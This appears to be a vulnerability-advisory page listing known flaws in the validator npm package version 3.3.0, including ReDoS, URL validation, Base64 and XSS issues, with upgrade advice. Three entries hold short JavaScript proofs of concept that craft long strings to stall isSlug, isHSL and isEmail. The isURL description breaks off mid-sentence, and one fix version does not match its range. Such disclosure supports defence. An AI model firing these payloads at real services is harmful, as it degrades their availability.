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validator@3.3.0 vulnerabilities

String validation and sanitization

  • latest version

    13.15.15

  • first published

    14 years ago

  • latest version published

    4 months ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the validator package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Improper Validation of Specified Type of Input

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input. The isURL() function in the validator module parses and validates protocols in URLs using the following method

    How to fix Improper Validation of Specified Type of Input?

    A fix was pushed into the master branch but not yet published.

    *
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

    PoC

    var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

    PoC

    var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

    PoC

    var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Buffer Overflow

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Buffer Overflow. It used a regular expression (/^(?:[A-Z0-9+\/]{4})*(?:[A-Z0-9+\/]{2}==|[A-Z0-9+\/]{3}=|[A-Z0-9+\/]{4})$/i) in order to validate Base64 strings.

    How to fix Buffer Overflow?

    Upgrade validator to version 5.0.0 or higher.

    <5.0.0
    • M
    Cross-site Scripting (XSS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in IE9 due to unescaped backticks.

    How to fix Cross-site Scripting (XSS)?

    Upgrade validator to version 3.35.0 or higher.

    >=3.0.0 <3.34.0
    • H
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. It used a regular expression in order to validate URLs.

    How to fix Regular Expression Denial of Service (ReDoS)?

    Update to version 3.22.1 or greater.

    >=0.1.0 <3.22.1
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